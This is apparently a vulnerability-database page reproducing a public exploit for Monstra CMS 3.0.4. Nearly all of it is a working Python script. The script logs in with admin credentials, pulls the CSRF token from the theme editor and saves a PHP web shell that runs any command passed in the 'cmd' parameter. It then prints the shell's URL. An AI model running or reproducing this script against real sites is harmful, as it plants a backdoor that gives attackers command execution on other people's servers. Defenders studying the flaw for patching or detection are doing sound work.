Monstra CMS 3.0.4 Remote Code Execution

2024-06-0300:00:00

Ahmet Umit Bayram

packetstormsecurity.com

exploit

monstra cms

remote code execution

rce

security

macos

vulnerability

csrf

php

shell

7.4 High

AI Score

Confidence

Low

JSON

`# Exploit Title: Monstra CMS 3.0.4 - Remote Code Execution (RCE)  
# Date: 05.05.2024  
# Exploit Author: Ahmet Ümit BAYRAM  
# Vendor Homepage: https://monstra.org/  
# Software Link: https://monstra.org/monstra-3.0.4.zip  
# Version: 3.0.4  
# Tested on: MacOS  
  
import requests  
import random  
import string  
import time  
import re  
import sys  
  
if len(sys.argv) < 4:  
print("Usage: python3 script.py <url> <username> <password>")  
sys.exit(1)  
  
base_url = sys.argv[1]  
username = sys.argv[2]  
password = sys.argv[3]  
  
session = requests.Session()  
  
login_url = f'{base_url}/admin/index.php?id=dashboard'  
login_data = {  
'login': username,  
'password': password,  
'login_submit': 'Log+In'  
}  
  
filename = ''.join(random.choices(string.ascii_lowercase + string.digits, k=  
5))  
  
print("Logging in...")  
response = session.post(login_url, data=login_data)  
  
if 'Dashboard' in response.text:  
print("Login successful")  
else:  
print("Login failed")  
exit()  
  
time.sleep(3)  
  
edit_url = f'{base_url}/admin/index.php?id=themes&action=add_chunk'  
response = session.get(edit_url) # CSRF token bulmak için edit sayfasına  
erişim  
  
token_search = re.search(r'input type="hidden" id="csrf" name="csrf" value="  
(.*?)"', response.text)  
if token_search:  
token = token_search.group(1)  
else:  
print("CSRF token could not be found.")  
exit()  
  
content = '''  
<html>  
<body>  
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">  
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">  
<input type="SUBMIT" value="Execute">  
</form>  
<pre>  
<?php  
if(isset($_GET['cmd']))  
{  
system($_GET['cmd']);  
}  
?>  
</pre>  
</body>  
</html>  
'''  
  
edit_data = {  
'csrf': token,  
'name': filename,  
'content': content,  
'add_file': 'Save'  
}  
  
print("Preparing shell...")  
response = session.post(edit_url, data=edit_data)  
time.sleep(3)  
  
if response.status_code == 200:  
print(f"Your shell is ready: {base_url}/public/themes/default/{filename}  
.chunk.php")  
else:  
print("Failed to prepare shell.")  
  
  
`

7.4 High

AI Score

Confidence

Low

JSON